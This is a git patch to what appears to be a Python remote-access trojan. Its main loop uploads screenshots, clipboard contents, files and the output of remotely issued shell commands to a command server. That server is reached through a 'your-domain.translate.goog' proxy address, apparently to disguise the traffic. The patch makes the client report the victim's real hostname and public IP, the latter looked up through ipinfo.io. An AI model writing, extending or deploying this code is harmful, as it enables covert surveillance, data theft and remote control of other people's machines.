From 962a9757f21ea6ebc7657b6c7b0ba4651eda623f Mon Sep 17 00:00:00 2001 From: Gakamine Date: Wed, 15 Feb 2023 08:08:47 -0500 Subject: [PATCH] Dynamic IP and hostname --- main.py | 12 ++++++------ src/get_ip.py | 14 ++++++++++++++ 2 files changed, 20 insertions(+), 6 deletions(-) create mode 100644 src/get_ip.py diff --git a/main.py b/main.py index 02f806c..6e631b1 100644 --- a/main.py +++ b/main.py @@ -1,13 +1,13 @@ -from src import upload,screenshot,clipboard,files,command +from src import upload,screenshot,clipboard,files,command,get_ip from bs4 import BeautifulSoup +import socket import random, string import requests import time -HOSTNAME="USER-PC" -IP="192.168.1.1" -# BASE_URL = "https://your-domain.translate.goog" -BASE_URL = "http://127.0.0.1:8000" +HOSTNAME=socket.gethostname() +IP=get_ip.get() +BASE_URL = "https://your-domain.translate.goog" def random_string(length): letters=string.ascii_lowercase @@ -34,7 +34,7 @@ def random_string(length): if filetype == "": filetype="FILE" upload.upload_data(BASE_URL,HOSTNAME,IP,filetype,data,md5) - elif len(action)>0: + elif len(args[0])>0: data=command.execute_cmd(args) if data!="": upload.upload_data(BASE_URL,HOSTNAME,IP,"Command",data) diff --git a/src/get_ip.py b/src/get_ip.py new file mode 100644 index 0000000..ebf5211 --- /dev/null +++ b/src/get_ip.py @@ -0,0 +1,14 @@ +import requests +import json + +def get(): + endpoint = 'https://ipinfo.io/json' + response = requests.get(endpoint, verify = True) + + if response.status_code != 200: + return 'Status:', response.status_code, 'Problem with the request. Exiting.' + exit() + + data = response.json() + + return data['ip'] \ No newline at end of file